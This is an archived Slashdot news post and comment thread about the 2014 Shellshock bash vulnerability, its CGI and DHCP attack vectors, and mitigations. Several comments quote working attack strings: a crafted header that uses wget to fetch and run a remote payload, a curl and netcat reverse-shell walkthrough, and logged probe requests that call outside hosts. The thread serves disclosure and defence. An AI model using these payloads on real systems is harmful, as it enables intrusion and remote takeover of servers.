Follow Slashdot stories on Twitter

 



Forgot your password?
typodupeerror
Check out the new SourceForge HTML5 internet speed test! No Flash necessary and runs on all devices. ×
OS X Security Unix Linux

Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild 318

The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit. More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.
This discussion has been archived. No new comments can be posted.

Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

Comments Filter:
  • by charlesbakerharris ( 623282 ) on Thursday September 25, 2014 @02:01PM (#47995571)
    You mean "worse than a vulnerability that doesn't seem to have been exploited on any significant scale"?
    • by Anonymous Coward on Thursday September 25, 2014 @02:18PM (#47995773)

      What a stupid argument.

      1. It will be, if it wasn't before.

      2. You can't know that information.

    • by LordLimecat ( 1103839 ) on Thursday September 25, 2014 @02:22PM (#47995821)

      Heartbleed exploits were and will continue to be generally undetectable. If any private keys were stolen, we wont ever know.

    • by Anonymous Coward on Thursday September 25, 2014 @02:39PM (#47996043)

      I just rm -rf / a vulnerable linux laptop (dummy laptop) simply by having it connect to my malicious dhcp server.

  • I've already seen a few of these scans so far today.
  • by Junta ( 36770 ) on Thursday September 25, 2014 @02:08PM (#47995677)

    To be fair, anyone using bash as the cgi handler for anything remotely serious was already doing it wrong. Bash by it's nature is a facility trying to let the presumably authenticated user of it to do whatever they want, even if it looks somewhat weird. Yes this bug warrants fixing, but putting bash or similar in a path where untrusted environment variables and/or argv is present is a very dubious design decision. Besides, fork and exec for every request is a huge no no, and that's the only way to fly with bash.

    Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

    • Re: (Score:3, Interesting)

      by Anonymous Coward

      dhclient-script uses shell variables passed from the DHCP server. Your laptop connects to a rogue AP and you're owned because dhclient-script run as root.

    • by jpvlsmv ( 583001 ) on Thursday September 25, 2014 @02:17PM (#47995761) Homepage Journal
      Except for the system "utilities" that are actually bash scripts, such as /usr/bin/xzgrep. These are vulnerable to inheriting malicious environment variables from the parent processes even if the overlying process is not a shell script.

      The other reasonable vector is the use of environment variables set by your dhcp client before running /etc/sysconfig/if-up.d/* based on whatever is contained in the first DHCPOFFER packet it receives.

      • by Junta ( 36770 )

        Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.

        The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-ro

        • by jpvlsmv ( 583001 ) on Thursday September 25, 2014 @05:00PM (#47997629) Homepage Journal

          Ok, perhaps I undermined the importance, but if you are using 'xzgrep' in cgi context in a serious situation, I would say that is still a mistake. Forking and execing in response to an http request is terrible performance wise before getting to the security dubious of it all.

          The dhclient-script stuff is pretty significant and I think I would be in a weak position saying that those have no business execing system commands/scripts. However it does suggest it may be worthwhile to have a helper that is non-root with capabilities to allow it to do key stuff to limit it's ability.

          # run under mod_perl
          print "Content-Type: text/plain\n\n";
          system("/usr/bin/xzgrep error /var/log/my.log");

          Can you see how this prefectly secure quick CGI to find errors in your log file would result in a system compromise?

    • by LordLimecat ( 1103839 ) on Thursday September 25, 2014 @02:33PM (#47995977)

      The NIST page indicates that DHCP could be used to exploit it. It also indicates low complexity and no authentication required, so Im not convinced youre correct.

      • by fnj ( 64210 )

        You're right; not only should you be unconvinced that he is right; he in fact misses the whole point and is completely mistaken.

      • by radtea ( 464814 )

        The NIST page indicates that DHCP could be used to exploit it.

        Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep... [trustedsec.com]

        The only saving grace in this bug is that it's relatively easy to patch on client and server machines.

        But there are a lot of things that aren't client and server machines that run linux and use bash. Routers, cable modems... all kinds of embedded systems. These things generally la

        • by arth1 ( 260657 ) on Thursday September 25, 2014 @05:04PM (#47997661) Homepage Journal

          Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash.

          No, it's worse than that. You don't have to pass any arguments, and you don't even have to knowingly call shell - calling system() from a language that executes binaries in a shell context will do it, on systems that have /bin/sh point to bash (which is most of them these days).

          In short, anything that inherits environment variables (like TERM, LANG, LC_COLLATE) and executes anything in a shell context is vulnerable. No passing of arguments or deliberate call of bash is needed.

        • by spitzak ( 4019 ) on Thursday September 25, 2014 @10:27PM (#47999643) Homepage

          Any program that a) listens on a socket and b) calls out to a shell with an argument partially constructed from user input is vulnerable if the shell is unpatched bash. Apparently DHCP does this: https://www.trustedsec.com/sep... [trustedsec.com]

          You have it somewhat wrong. The arguments to the shell are irrelevant as several mention below. However the program must set an environment variable to unchecked user input, something everybody seems to be missing. According to the advisory, DHCP has this bug in that it copies strings in the request (or at least the string identified by "114") to environment variables.

          Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.

          • by arth1 ( 260657 )

            Not every program that calls system() sets environment variables to arbitrary text from the user, so not every program that calls system() is vulnerable, unlike a lot of people here are saying.

            Keep in mind that the program that calls system() does not have to be the one that accepts environment variables from tainted input. It may inherit the environment variables from a caller who does, or it may be several layers deep.
            Unless a process discards all environment variables or verifies every single set environment variable whether used or not, it may pass the problem on to another process that calls system().

    • by QuietLagoon ( 813062 ) on Thursday September 25, 2014 @02:40PM (#47996055)

      Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

      This blog post [blogspot.com] mentions php, c++, python, et alia, as another attack vector.

      This means that web apps written in languages such as PHP, Python, C++, or Java, are likely to be vulnerable if they ever use libcalls such as popen() or system(), all of which are backed by calls to /bin/sh -c '...'. There is also some added web-level exposure through #!/bin/sh CGI scripts, calls in SSI, and possibly more exotic vectors such as mod_ext_filter.

      • by Junta ( 36770 )

        This blog post mentions php, c++, python, et alia, as another attack vector.

        And while that underscores the appropriate need for this to be fixed, it should also be an opportunity to educate people to be wary of popen or system. If you leverage those a lot in a cgi context, you have created a significant potential bottleneck to scaling, versus using language libraries to accomplish the same goal without fork/exec being mandatory.

    • by nedlohs ( 1335013 ) on Thursday September 25, 2014 @02:45PM (#47996113)

      You don't need to use bash as the cgi handler. You just have to execute bash from your cgi handler. Say by the system() function in the c library on a system where /bin/sh is bash.

      And of course connecting having your linux machine try and get an IP via DHCP is a vector.

      • by Junta ( 36770 )

        The DHCP case is truly a bad situation.

        I still say that people shouldn't be using things like system() in cgi context except in very limited hacked up internal-only little web pages. It has the same problem as using bash directly, it's a massive waste of resources for an HTTP request to spawn a new process.

        • by seebs ( 15766 ) on Thursday September 25, 2014 @04:41PM (#47997457) Homepage

          For low-traffic stuff, development time is much more important. Furthermore, in some cases, the actual intended function of a thing is to run specific code. And prior to this bug, it was reasonably well-understood that system("/absolute/path --with --fixed --arguments") was pretty safe, since the absolute path prevented any PATH-related shenanigans, and you weren't including any user data. The environment's not executable. Usually.

      • by bussdriver ( 620565 ) on Thursday September 25, 2014 @05:18PM (#47997769)

        Am I the only person who just assumed Bash was for users? Why would you let anybody run bash?

        Why in the world would people thoughtlessly run any command under CGI? I didn't know about this bash feature but I never imagined placing a shell into CGI... it feels like giving the public a shell account. shells are user interfaces not servers. This feature is probably useful for users and they won't be able to easily disable it-- a bunch of specific case patches means it'll probably pop up in other misuses of bash.

        I bet this has been used for decades by hackers for defacing websites, since the cgi-bin user often has write access to the html.

        If you properly locked down cgi-bin just how much harm could they do in jail? (not that we should just jail shells and let people have at it, but the purpose for jailing your cgi-bin is to minimize damage.)

        DHCP is interesting and new; I didn't know that the DHCP server could get my system to run bash commands... I guess I have to figure out what user the DHCP client runs under...

    • Back in the day I had made some csh (not bash) scripts.
      It took the posted data parsed it and printed a formatted report on paper.
      So employees could then use it to process the order and ship it out.

      It was a low volume thing, and we did it in csh just because it was quick and easy to do.
      The web server wasn't ran as root and the script didn't run as root.

      There could also be a Bash based Menu system for a public Telnet/SSH Site which could cause issues too.

    • by Kiwikwi ( 2734467 ) on Thursday September 25, 2014 @03:36PM (#47996703)

      Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

      Unfortunately, attackers do not share your lack of imagination.

      First of all, the CGI vulnerability is not about CGI scripts written in Bash, this is about any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command, on a system that uses Bash as the system shell (so pretty much all non-Debian based Linux distros).

      Got that? any CGI program + any non-Debian Linux => vulnerable. (For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

      Second of all, there are all kinds of non-CGI situations in which untrusted data is passed in environment variables. This is normally not a problem... unless that environment variable at any point is inherited by Bash.

      The ISC DHCP client (dhclient) is the canonical example, as it runs a distro-specific shell script to set up the network once it gets a DHCP lease. Unustrusted values from the DHCP server are passed - you guessed it - in environment variables.

      • by Junta ( 36770 )

        any CGI program + any non-Debian Linux => vulnerable

        No, only CGI programs that use system/popen/etc to call out to things that may be bash.

        For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

        Well for one most languages the equivalent facility is available and usually used since it is a requirement to scale. For another, even the silly 'fork and exec' perl or php or python isn't vulnerable if said script avoids system/popen/backticks/whathaveyou.

        I guess I was wrong to play down the severity of bash, but my hope was for people to just consider themselves to make a mistake by ever potentially having bash in a c

        • any CGI program + any non-Debian Linux => vulnerable

          No, only CGI programs that use system/popen/etc to call out to things that may be bash.

          Enh, good luck auditing even just a resonably complex CGI program for direct and indirect invocations of the system shell.

          For instance, care to guess whether this one is safe [bugzilla.org]?

          For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

          Well for one most languages the equivalent facility is available and usually used since it is a requirement to scale.

          I know, mod_perl and mod_wsgi on Apache, and of course, Fast CGI. But CGI is still common in a lot of setups.

          For another, even the silly 'fork and exec' perl or php or python isn't vulnerable if said script avoids system/popen/backticks/whathaveyou.

          Even if you don't call out to the shell yourself, the standard library might.

          Pop quiz 1: How is the PHP mail [php.net] function implemented?

          Pop quiz 2: What parts of the Python standard library module uuid [python.org] are safe to use, and what parts

      • by jdavidb ( 449077 )

        any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command

        But it's been well known for more than ten years that you ought not to call system or execute external programs from a CGI program. That's just a bad idea. This exploit is one proof as to why.

    • Whew, it's a good thing that COTS router/wifi vendors don't ever do things wrong.

    • by dkf ( 304284 )

      Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

      To be fair, with a moderately competent CGI implementation, the subprocess will start just fine. The problem comes with whatever that subprocess calls, since environment variables are inherited by default. The deeper you go, the greater the likelihood that some programmer will have used system() or popen(), or even flat-out implemented the process as a shell script.

  • I'm not really understanding why this is a flaw at the moment.

    Does anyone have a good explanation or a link to a good explanation?

    • by diamondmagic ( 877411 ) on Thursday September 25, 2014 @02:29PM (#47995899) Homepage

      The vulnerability is that a string that looks like a function definition can be constructed to be immediately executed prior to execution of the bash script. (This is to support truly ancient bash scripts back when functions were defined as VARIABLE()="() { body }".) However, a bug in that code means the entire value gets executed as a bash script, and so it's possible to append code to the function definition, and it'll get executed as bash code.

      Essentially, it's lesson #1 why not to use eval() in your programs.

      The danger is that user inputs in Web programs are frequently passed as environment variables to programs. This is especially true in CGI, where the request URI and HTTP headers are passed as environment variables.

      This means if you use bash in your CGI, you can execute whatever command you like, as "apache" or whoever you're executing your CGI as. Remotely.

    • by vux984 ( 928602 )

      bash scripts use environment variables to store arguments. web requests passed to cgi scripts calling bash can result in bash assigning those header values to environment variables.

      Due to a bug in bash, assigning an environment variable with 'extra stuff at the end' of the assignment results in the extra stuff being executed.

      So calling a website with maliciously crafted header values with 'extra stuff', if bash assigns those values to an environment variable, to the extra stuff being executed.

      So for example

  • by RLiegh ( 247921 ) on Thursday September 25, 2014 @02:16PM (#47995749) Homepage Journal

    but IS it?

    • I think it's safe to assume that it was "in the wild" approximately 30 seconds after the news came out (if not before).

  • am I safe?

    My server doesn't do anything other than web serving via apache/mysql/php, and everything else is locked down.

  • by LordLimecat ( 1103839 ) on Thursday September 25, 2014 @02:26PM (#47995873)

    Looking at security discussions in terms of OS is really, really dumb. Windows wasnt vulnerable to heartbleed or this, but not because its Windows. Linux isnt affected because of the kernel. As has been the case for a very long time, actual OS flaws are exceedingly rare.

    Anyone who uses this as an opportunity to post a screed about how Linux is better or worse than Windows is showing their ignorance by boiling down complex security considerations into black and whites.
     

    • by ray-auch ( 454705 ) on Thursday September 25, 2014 @05:12PM (#47997735)

      Perhaps we should just be completely accurate and say: Linux is not vulnerable. GNU/Linux _is_ vulnerable. At least we keep RMS happy :-)

  • by Plumpaquatsch ( 2701653 ) on Thursday September 25, 2014 @02:33PM (#47995963) Journal
    That ultimately the BASH vulnerability would be used to blame Apple for bad security.
  • by xanthos ( 73578 ) <xanthos@noSpaM.toke.com> on Thursday September 25, 2014 @02:43PM (#47996085)

    There is evidence that this is being exploited in the wild.
    Nginx and Apache servers using mod_cgi are two potentially vulnerable services.

    The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.

    An example attack:

    GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

    Over at the Internet Storm Center http://isc.sans.org/ [sans.org] they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.

  • by Animats ( 122034 ) on Thursday September 25, 2014 @02:53PM (#47996199) Homepage

    If you're running Apache on Linux/UNIX, and don't absolutely need CGI, turn it off now.

    Put a "#" in front of
    LoadModule cgi_module modules/mod_cgi.so
    in /etc/httpd/conf/httpd.conf. This will totally disable all CGI scripts. That's a good thing. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around.

    Note that this will break CPanel, but not non-CGI admin tools such as Webmin.

    People are out there probing. This is from an Apache server log today from a dedicated server I run.

    89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

    • What about FastCGI? Should it be similarly affected? A lot of people run PHP and so on that way.
      • FastCGI implementations are supposed to execute the specified executable without any parameters from the HTTP request. The FCGI program then reads and processes multiple HTTP requests, with no shell involvement. Unless the program invoked by FCGI itself invokes the shell (which PHP scripts can do), there should be no problem. I'm not a PHP user; someone with PHP internals expertise needs to look at that world for vunerabilities. Can arguments from the HTTP request make it into the environment of subshells

    • ok. Everybody /bin/ping -c 1 198.101.206.138

  • by myvirtualid ( 851756 ) <pwwnow AT gmail DOT com> on Thursday September 25, 2014 @03:03PM (#47996319) Journal

    Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate.

    Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability.

    Status: Testing underway. Our initial scans and appraisals are that our public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems.

    What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells.

    How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough.

    How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable.

    What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine.

    How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable.

    What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if t

    • by phayes ( 202222 )

      For web servers that allow cgi scripting, yeah I see that it could be bad. I also noted the dhclient-script problem on Linux clients. However, I don't see this as being a major exploit for Macs (which run Web servers very rarely) & do not use the same dhcp-client mechanism as Linux & don't seem to be vulnerable.

      If it's not remotely exploitable on OSX, even if the bug is present in the system bash, it's not as critical as some are trying to make it look.

      Please correct me if I'm wrong with a remote ex

      • by seebs ( 15766 )

        Look at it this way:

        Do you have full source to everything you run? No? Do you know whether any of them, ever, down any code path, call system() to run something? I bet some of them do. Now, could they ever do it in an environment where at least one variable has a value acquired from an external source?

        If so, that's an exploit-in-waiting.

        Keep in mind that "I don't call system, I use fork and exec" doesn't mean that the thing you exec doesn't perhaps call system(), or use the shell to execute some command. Or

        • by phayes ( 202222 )

          Yeah, but that's not a remote exploit.

          However, Ars was a little more informative: CUPS is apparently vulnerable and gives a remote exploit on OSX too...

    • by PPH ( 736903 )

      WUT?

      Because many web servers use system command interpreters to fulfill user requests,

      I did this a few decades ago. When I started messing around with the NCSA httpd server. Within a few months, I cleaned up all the CGI shell access calls, filtering the incoming parameters for just this reason.

      system modification.

      Only if you let your web server run itself and launch processes with permissions that can change system settings. Almost everything I write runs as a 'guest' user/group on my systems and can't mess with anything beyond that user's data. The scripts and executables themselves are owned by a web-admi

      • Hey, I'm not saying the practices that make people vulnerable are wise - just that they exist and that unless positive steps are taken to test and, where necessary, fix, systems will be vulnerable. After all, we are seeing reports of the vulnerability being exploited in the wild, so we know there are affected systems out there. If we've done our jobs right, they won't be ours - but we cannot just hope that we've done our jobs right - and we do need to advise management that a) we're aware of the issue, b) w
  • by CajunArson ( 465943 ) on Thursday September 25, 2014 @03:25PM (#47996559) Journal

    Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack. This isn't an "open source" vs. "closed source" thing. This is a "We'll just trust data received from untrusted sources!" thing.

    If your web/dhcp/print/etc. server is *accepting environment variables from random strangers* and then *executing a full-bore shell program* using those environment variables then guess what: You're freakin' server was already vulnerable and this Bash bug is just exposing the vulnerability, not causing it!!

    Seriously, if Windows had a design like this then we'd be hearing the old "insecure by design!" schtick, and I'm not going to hold Linux to a lesser standard.

    • by Kiwikwi ( 2734467 ) on Thursday September 25, 2014 @03:53PM (#47996901)

      Basically, this Bash bug is really only exploitable by remote users because of some questionable decisions made in designing the software stack.

      Hm, no, the fault here lies squarely with Bash choosing to interpret an environment variable called HTTP_USER_AGENT as a program to execute.

      This is not about accepting arbitrary environment variables; CGI puts data in a few, well-defined variables. This is a perfectly legimiate use of environment variables. (And Windows does the exact same thing.)

      You're right that using a "full-bore shell program" such as Bash as the system shell is moronic. It is, unfortunately, still the norm on all major Linux distros except Debian and derivatives (which use the limited Dash shell, which is not vulnerable).

      Primarily, I think this is a wake up call for Fedora, SUSE and the others: Bash is a huge, complex component, evidently with insufficient security review, and should not be used as the system shell. Debian dropped it for performance reasons, but now we can add security concerns to the list. It can stay around for use as an interactive shell (though why you'd do that when you have zsh, I don't know...)

    • Yup. The web server passing input to shell scripts via environment variables is lore that was put in place with the earliest cern web servers and it should have been killed and put to sleep a long time ago.

      However the bash shell executing environment variables on the way in is worse.

      The equivalent in python would be like putting this at the top of every python CGI script:
      untrusted_input = cgi.FieldStorage()
      for k in untrusted_input.keys:
      eval(untrusted_input[k])

    • I really don't get why an embedded system needs to have *any* shell in the first place. From both a security and reliability standpoint you don't need to stress about components that aren't there.

      Or you could take a hint from busybox and have one statically linked executable that does everything you need, AND NOTHING MORE, on your system.

      It isn't that hard to write your own version of init to parse a config file and do whatever your system needs to do. And it is a hell of a lot more secure.

      I've only been

  • I'm thinking about phones & tablets and other devices that haven't been rooted, or got a new update that the old root methods don't work.

    Can this be used to get root on systems?

  • by mad-seumas ( 59267 ) on Thursday September 25, 2014 @04:57PM (#47997597)

    Here's a fun little test. This is assuming both the attacker and target have netcat installed. On a machine with the vulnerable bash and apache-cgi (behind a firewall for god's sake!) drop a file in your cgi-bin directory:

    #!/bin/bash
     
    echo Content-type: text/plain
    echo ""
     
    pwd

    You should be able to go to

    http://www.your-server.com/cgi-bin/test.cgi

    and get a listing of apache's cgi directory.

    Now, from your attack machine run "nc -l -p 1234", and then (in another terminal) run "curl -A "() { :;}; /bin/nc attack.machine.ip.address 1234 -c /bin/bash". You now have a shell via netcat.

    (from attacking machine netcat)

    touch /tmp/pwnt

    (on target)

    ls -al /tmp/pwnt

    $-rw-r--r-- 1 www-data www-data 0 Sep 25 15:53 /tmp/pwnt

  • by Solozerk ( 1003785 ) on Thursday September 25, 2014 @07:24PM (#47998611)
    Just saw this in the server logs on one of our servers:

    82.165.144.187 - - [25/Sep/2014:18:55:59 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 392 "-" "() { :; }; /usr/bin/wget 82.165.144.187/bbbbbbbbbbbb"

    An attempt at exploiting the vulnerability (trying to wget h t t p : // 82.165.144.187/bbbbbbbbbbbb to confirm the system is vulnerable).
    • Another one attempts to download and execute h t t p ://213.5.67.223/jurat , a perl backdoor that'll connect to a control IRC server (46.16.170.158 port 443), presumably so that a botnet can be constructed. It allows for port scanning and DDOSing remote targets based on IRC commands received.

      And right now, there are already 560 invisible users connected there... and it grows at quite a pace. The flaw is definitely being exploited in the wild.

"The chain which can be yanked is not the eternal chain." -- G. Fitch

Working...